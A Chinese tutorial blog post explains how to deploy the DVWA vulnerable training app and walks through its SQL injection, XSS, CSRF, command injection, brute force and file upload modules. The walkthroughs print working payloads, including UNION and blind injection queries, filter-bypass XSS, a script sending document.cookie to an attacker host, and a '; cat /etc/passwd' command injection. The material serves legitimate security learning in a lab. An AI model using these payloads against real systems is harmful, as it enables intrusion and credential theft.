简介:DVWA(Damn Vulnerable Web Application)是一款专为Web安全学习设计的开源靶场,面向网络安全初学者、渗透测试工程师与高校信息安全专业学生,可在合规环境中演练SQL注入、XSS、文件包含、命令注入、CSRF、弱会话管理等常见漏洞。压缩包共591个文件,以359个PHP源码文件为核心,辅以HTML/CSS/JS前端资源、TXT说明文档以及少量配置与图片文件,整体仅1.31MB,轻量便携。靶场按低、中、高三级安全级别组织,从直接拼接查询语句到逐步加装过滤与校验,读者能清晰对比不同防护强度下的利用差异,并结合源码审计理解参数绑定、输出转义、CSRF令牌等防御手法。通过实际动手操作,还可掌握对应漏洞的安全编码与加固方案,为后续渗透测试和代码审计奠定基础。已有1330人下载学习,适合作为Web安全入门训练、漏洞原理复现及课堂演示的实用工具。
1. 项目概述:DVWA练手靶场到底是什么
DVWA(Damn Vulnerable Web Application)是安全圈子里流传最广的一套PHP+MySQL架构的漏洞靶场,官方定位就是“故意写得漏洞百出的Web应用”。这些年我在带新人入门Web安全时,第一套推荐环境永远是它,原因很简单:DVWA把SQL注入、XSS、CSRF、文件上传、命令注入这些经典漏洞全都浓缩在一个网页应用里,每个漏洞还分成Low、Medium、High、Impossible四个难度等级,学完一遍基本就能把OWASP Top 10里的常见攻击手法全部过一遍手。
我常跟朋友打比方:DVWA就像驾校里的教练车,方向盘、刹车、油门全都在那儿,但车速被限制住了,撞了也不会出大事。在这个环境里你可以放心地往输入框里塞各种恶意载荷,观察数据库报错、页面回显、Cookie变化,理解了攻击发生的底层逻辑之后,再上真实业务系统才有敬畏心。如果你正打算学Web安全、准备护网面试、或者做开发想知道“黑客到底怎么打我的系统”,这套靶场花一晚上搭起来,绝对值回时间。
这套靶场的核心价值不在于它能“通关”,而在于每个漏洞背后对应了一套完整的攻防知识链。比如SQL注入这一关,Low级别允许你直接在输入框拼接到SQL语句里,到了High级别它用了预编译查询,你再看攻击失效的原因,就能真正理解“为什么预编译能防注入”。这种从实操反推原理的学习方式,比死记硬背十条修复建议有效得多。适合的人群也很明确:刚接触安全的大学生、想转行做渗透测试的开发者、以及需要测试自己Web应用安全的运维人员,这套靶场都值得反复刷。
2. 靶场设计思路与攻防逻辑拆解
2.1 四大难度等级的设计意图
DVWA这套系统最出彩的设计就是同一种漏洞、四个不同等级的代码实现。我们在做安全测试时遇到的目标系统代码水平参差不齐,有的连最基本的输入过滤都没做,有的是做了黑名单被绕过,还有的是根本没理解安全开发到底该怎么做。DVWA把真实世界的情况抽象成了这四个档位,刷一遍等于把代码审计的常见场景全见了一遍。
- Low:完全没有任何防护,代码怎么写的、数据库怎么报错的全都暴露在眼前,目的是让你看清漏洞到底长什么样。
- Medium:加了一些简单的防护,比如
mysqli_real_escape_string()转义特殊字符、前端JS做了简单过滤,但这些东西存在明显的绕过空间,考验的是你对攻击手法的灵活运用。 - High:防护明显增强,比如用
htmlspecialchars()处理输出、用stripslashes()配合白名单限制参数,这时候单纯靠固定Payload已经打不进去了,需要根据不同的安全函数特征来调整攻击策略。 - Impossible:展示的是安全开发的标准答案,使用预编译语句、Token校验、严格白名单校验,就算你输入了攻击载荷也无法生效。这个级别是写给开发人员看的,告诉你以后写代码应该这样做。
2.2 为什么选DVWA而不是其他靶场
现在市面上能拿来练手的靶场选择很多,Python写的DVWA变种、Java写的WebGoat、还有在线靶场平台,但DVWA依然是最值得新手先碰的那一个。一个很重要的原因是它的源码量小,整个应用就十几个PHP文件,任何一个漏洞都能在编辑器里快速定位到对应代码,跟着代码去理解攻击过程比对着黑盒测试猜逻辑清晰得多。
WebGoat的思路是把漏洞点打散成一个个教学关卡,交互设计很精致,但它是Java技术栈,代码审计门槛相对高一些;而DVWA清一色的PHP代码配MySQL数据库,跟现在大量中小企业用的技术栈天然接近,很多开发人员看完DVWA的代码就能直接联想到自己项目里是不是有类似的写法。另外一个优势是部署极轻量,不管是装Docker还是用phpstudy组合包,十分钟内绝对能跑起来,不像某些靶场动辄占用好几GB内存。我从第一次接触到现在,至少帮几十个朋友部署过DVWA环境,确实没有遇到一次是卡在“跑不起来”这个环节的。
2.3 模块划分与学习路线图
DVWA的首页其实就是一张漏洞清单,SQL注入、反射型XSS、存储型XSS、CSRF、文件包含、文件上传、命令注入、暴力破解、不安全的验证码、Web Shell上传等,每个模块独立成页,点进去就是对应的漏洞环境。我建议的刷题顺序是从暴力破解开始,因为这个模块最直观,输入用户名密码抓包改参数就能理解“认证绕过”的逻辑;接着刷SQL注入,理解数据层的攻防;再处理XSS和CSRF,这两块是理解前后端信任模型的关键;最后再来玩文件上传和命令注入,因为这两个漏洞需要结合服务器配置和业务逻辑来看,综合性更强。
3. 环境搭建的两种主流方案
3.1 方案一:Docker一键部署(推荐新手)
Docker部署DVWA是目前最省心的一条路,不用自己在宿主机上配PHP环境、折腾MySQL,所有的依赖都打包在镜像里了。以Kali Linux为宿主机的话,打开终端先确认Docker服务已经起来了:
sudo systemctl start docker docker pull vulnerables/web-dvwa docker run -d -p 8080:80 vulnerables/web-dvwa镜像拉取完成后,访问http://127.0.0.1:8080,打开页面默认账号是admin、密码是password。这里需要提醒一个很多人踩过的坑:刚启动容器时点“创建/重置数据库”按钮,有时候会出现数据库初始化失败或者页面白屏,这是因为容器内的MySQL服务还在启动中,等个30秒到1分钟再刷新重试就好。另外,Docker方式跑起来的DVWA默认是没有开启PHP的display_errors的,遇到SQL注入的报错回显不够明显,建议进入容器修改一下配置文件:
docker exec -it <容器ID> /bin/bash cd /var/www/html/config sed -i "s/display_errors = Off/display_errors = On/" config.inc.php在安装模块页面设置好连不上数据库的话,优先检查config.inc.php里的数据库连接参数。Docker容器里MySQL的root密码默认是p@ssw0rd,数据库名是dvwa,这个配置跟源码安装时不太一样,很多人在这一步卡住。我把最常遇到的几个坑整理成了下表,方便对照排查:
| 问题现象 | 可能原因 | 解决办法 |
|---|---|---|
| 页面能打开但无法初始化数据库 | MySQL还没就绪 | 等待30秒后刷新重试 |
| 搭建后SQL注入不显示详细报错 | PHP的display_errors未开启 | 修改配置文件后重启容器 |
| 登录后反复跳回登录页 | Cookie/Session问题 | 清空浏览器缓存或换隐身窗口 |
| 靶场页面样式错乱 | 静态资源加载失败 | 检查80端口映射是否被占用 |
3.2 方案二:phpstudy手动搭建
如果你的机器上已经有phpstudy,或者你更希望直接看清每一行PHP代码是怎么跑起来的,可以走手动搭建路线。打开phpstudy,启动Apache和MySQL服务,确认PHP版本选的是5.x或7.x都行,然后把下载好的DVWA源码解压后放到网站的根目录下,比如C:\phpstudy_pro\WWW\DVWA-master,修改config\config.inc.php.开头的默认配置:
$_DVWA[ 'db_server' ] = '127.0.0.1'; $_DVWA[ 'db_database' ] = 'dvwa'; $_DVWA[ 'db_user' ] = 'root'; $_DVWA[ 'db_password' ] = 'root';保存后访问http://127.0.0.1/DVWA-master,页面上能看到PHP环境依赖检查表,要求allow_url_include开启、allow_url_fopen开启等。这些配置在图形管理界面里可以直接找到对应开关,不需要手动改php.ini。确认环境检查全绿后点击底部红色的“Create / Reset Database”按钮,它会自动创建数据库和默认数据,接着用admin/password登录进去就能开始练习了。
手动搭建比Docker多花几分钟,但好处是想调试任意一个漏洞模块时,直接在编辑器中改PHP代码就能观察行为变化。比如我想在SQL注入模块里打印出拼接后的完整SQL语句,直接改源代码加一行echo $query,就能更直观地看到注入点在哪里闭合。这种“改代码看效果”的玩法,Docker方式没那么方便。
3.3 安全配置与访问控制建议
靶场本身是一个故意留有后门的应用,部署时建议默认只允许本地IP访问,如果用在公网的云服务器上,至少加一层防火墙规则来限定来源IP。我见过有同学贪图方便把靶场部署到公网服务器上,结果第二天容器被扫到并被打成了矿机,这种事故一点也不罕见。DVWA的默认密码是公开的,这等于给所有人留了一扇大门,所以有条件的话登录后第一时间去数据库里把密码哈希改掉,再配合防火墙限制来源IP。实际在做渗透测试培训时,我还会建议把Docker映射的端口改成高位随机端口,比如-p 18080:80,虽然这只是增加了被扫描到的成本,但能有效减少被无聊脚本骚扰的概率。
4. 经典漏洞通关实录与原理深挖
4.1 暴力破解:理解认证机制的本质
DVWA的暴力破解模块是一个简单的登录表单,提交的参数是username和password,Low级别的代码直接用SELECT * FROM users WHERE user = '$user' AND password = '$pass'拼接查询。用Burp Suite抓包,把请求发送到Intruder模块,设置密码字段为Payload位置,选择简单字典进行爆破,当响应包长度和其他请求明显不一致时就是成功密码。这个套路学会了,再往深里想一层:为什么加验证码就能防爆破?为什么登录接口频繁限流就能拖慢爆破速度?这些都是围绕“认证机制”展开的安全设计决策。
Medium级别增加了mysqli_real_escape_string()转义和登录失败后的sleep(2)延时,前者绕过的关键在于数据库的字符集设置,当数据库连接使用SET NAMES gbk这类宽字节编码时,%bf%27就能把转义符\“吃掉”从而继续注入;后者则直接拖慢了爆破速度,在手工测试时感受特别明显。到了High级别,代码加入了一个基于$_SERVER['HTTP_USER_AGENT']的Token机制,需要先从页面源码中提取user_token,再把它拼接到下一次爆破的请求中,用Burp的宏功能可以自动化处理这个过程。从这三关能清楚看到,验证机制永远是在“增加攻击成本”而不是“彻底阻断攻击”,这也是安全领域的核心思维。
4.2 SQL注入:从报错注入到盲注
SQL注入模块是DVWA里练习价值最高的一个。Low级别的代码大概是:
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";输入1' AND '1'='1能正常回显,输入1' AND '1'='2回显为空,说明参数是完整拼进了SQL语句的。这时候用1' UNION SELECT user, password FROM users#就能把用户表的用户名和密码哈希全部拖出来。拿到哈希后丢到一些在线hash解密平台,运气好就直接解出来明文了。
Medium级别的代码加了一个mysqli_real_escape_string(),对输入的单引号做了转义,看起来好像安全了。但这里是数字型参数,代码里用的是$id = mysqli_real_escape_string(...); $query = "WHERE user_id = $id;",转义函数对数字型参数根本没有意义,直接输入1 UNION SELECT user, password FROM users就绕过了。这种典型的“转义函数用错场景”在真实代码审计中经常出现,值得新手反复体会。High级别用了intval()强制转换为整数,这种规避方式就很彻底了,但依然可以通过注入点进入盲注流程,用1 AND (SELECT ASCII(SUBSTR(user,1,1)) FROM users)=97#这种布尔盲注的Payload,逐字符把数据“猜”出来。
4.3 XSS与CSRF:用户信任的边界
XSS模块分反射型和存储型两种。反射型Low级别就是直接echo用户输入,输入<script>alert(/xss/)</script>就能触发弹窗;Medium级别做了str_replace()把<script>标签删掉,但可以用<scr<script>ipt>这种双写绕过;High级别用了preg_replace()配合黑名单正则,在这种情况下尝试用<img src=x onerror=alert(1)>这类基于事件的载荷往往更管用。存储型XSS则会把Payload写进数据库,每次刷新页面都会执行,本质危害是“把前端代码注入变成了持久化控制”,可以利用<script>document.location='http://attacker/cookie?c='+document.cookie</script>实时盗取管理员Cookie。
CSRF模块做得也很有代表性,Low级别的页面就是一个修改密码的GET表单,构造一个恶意链接诱导管理员点击就完成了密码篡改。Medium级别加了Referer校验,但校验逻辑只检查了Referer中是否包含服务器域名,所以用<img href="http://victim.com/dvwa/csrf/?password_new=123&password_conf=123">嵌在攻击页里,Referer里带着被攻击的域名就能绕过。High级别加入了user_token随机令牌,从源码可以看到每次请求前都要先从服务端获取令牌再提交,这也就是现在所有业务系统都在倡导的CSRF Token机制的原理原型。从这三关下来,你对“为什么转账接口要用POST+Token双重校验”会有很直观的理解。
4.4 命令注入与文件上传:边缘接口的高危点
命令注入模块Low级别直接把ping命令拼接到了系统命令中:exec('ping -c 4 ' . $ip);,输入127.0.0.1; cat /etc/passwd就能把系统文件读出来。Medium级别用&&和;做了替换,但你换用|或||依然能闭合命令;High级别加了更严格的黑名单,但依然可以通过换行符%0a追加命令。这个漏洞在真实环境中多出现在网络设备管理后台、主机监控脚本中,问题本质是“外部输入拼接到操作系统命令”时缺少白名单校验,修复标准做法是直接限制IP参数必须匹配IPv4格式。
文件上传模块Low级别只检查了Content-Type,用Burp拦截上传请求把Content-Type改成image/jpeg,后缀保持php就能成功上传WebShell;Medium级别检查了文件类型和大小,如果文件内容里包含<?php就会拦截,可以把恶意代码拆开写入图片的EXIF信息里;High级别用getimagesize()做了二次校验,这时常见的绕过思路就是构造一个合法的图片马,把PHP代码藏在图片正常数据段后面,配合文件包含漏洞来触发执行。文件上传+文件包含的组合攻击在真实渗透测试中经常能拿下整个服务器,DVWA这两个模块建议放在一起做实验,能更清晰地看到漏洞链条如何串联。
5. 常见问题排查与避坑实录
5.1 无法进入登录界面的几种情况
DVWA装好后打不开登录界面,这个问题的出现频率相当高。先把最基础的可能原因过一遍:Apache是否启动、端口是否被占用、MySQL是否正常、源码目录权限是否正确。Docker方式的话,多半是容器里的服务没起来,用docker ps -a看容器状态,UP才是正常;如果是Exited状态,用docker logs <容器ID>查看日志,最常见的是3306端口冲突或者数据库初始化脚本执行失败。
我自己遇到过最诡异的一次是页面能开但点击登录后一直跳回登录页,查了很久发现是浏览器装了一个安全插件,把DVWA写入的Cookie拦截了。后来换无痕模式访问瞬间就好了。所以如果你确认服务都在跑但登录不进去,先用浏览器无痕模式或换个浏览器试试,这类非技术因素在实际使用中占了大概三成。
5.2 数据库初始化失败的完整排查链路
DVWA首页下方的“Create / Reset Database”按钮点了没反应,或者提示数据库连接失败,排查链路一般按下面这个顺序来走:
- 检查
config.inc.php里的数据库用户名密码,确认和本机MySQL的root密码一致。用phpstudy装的用户要注意,phpstudy默认root密码经常是root,而DVWA的示例配置里写的是p@ssw0rd,不改成自己的实际密码必然报错。 - 去MySQL命令行确认
dvwa数据库是否已经存在。可以执行SHOW DATABASES;,如果不存在就手动建一个CREATE DATABASE dvwa;,然后再回来点初始化按钮。 - 确认PHP和MySQL的版本兼容性。PHP 8.0以上版本跑DVWA可能会出现一些弃用函数警告,虽然一般不影响使用,但有些情况下会导致页面白屏。DB版本装7.4或8.0之间选择的话,我用下来7.4的兼容性更稳。
5.3 刷题过程中的常见卡点与对策
很多新手刷到Medium级别就开始卡住了,因为网上查到的Payload大多是Low级别的,直接套用到Medium经常失效。这里给一个通用思路:每一次Payload失效,先别急着换别的,回到源码看清楚防御代码到底做了什么处理,再针对性地绕过。比如Medium的SQL注入用了转义函数,那你的攻击方向就是寻找不需要引号的闭合方式,或者利用数字型注入的特性;如果High级别用了intval(),那就老老实实转盲注,不要浪费时间在报错注入上。
Burp Suite用不好的话建议多录几遍宏操作,特别是CSRF和高等级暴力破解,很多情况下是你漏掉了请求中的动态Token,导致每次尝试都被服务端拒绝,表现就是“怎么试都不对”,但抓包一看其实参数顺序都没问题,只是缺了Token。另外别忘了DVWA页面底部有个“View Source”按钮,点开就能看到对应级别的源码,这是比任何教程都权威的参考,遇到瓶颈先读源码,至少能省下半小时查资料的功夫。
6. 写在最后:几个值得坚持的实战习惯
DVWA这套靶场我前后刷了三遍,第一遍只会照着教程抄Payload,第二遍开始看源码理解原理,第三遍尝试不看任何参考独立完成四种等级的漏洞利用,每一遍的收获完全不一样。如果你时间有限,我建议至少做到两件事:一是每个漏洞的Impossible级别源码认真读一遍,那是开发人员写安全代码的标准答案;二是把所有漏洞连带组合起来做一遍,比如用SQL注入拿到密码哈希后配合CSRF模块提升权限,这种组合攻击思维在真实攻防里价值极高。
最后再分享一个顺手的小技巧:DVWA支持在config.inc.php中自定义漏洞模块的默认安全等级,练习时把$_DVWA[ 'default_security_level' ]从'impossible'改成'low'可以省去每次切换的麻烦。但刷完一轮后一定要记得改回来,否则你会发现高级别关卡一直进不去——别问我为什么会提醒这一点,问就是踩过坑。
本文还有配套的精品资源,点击获取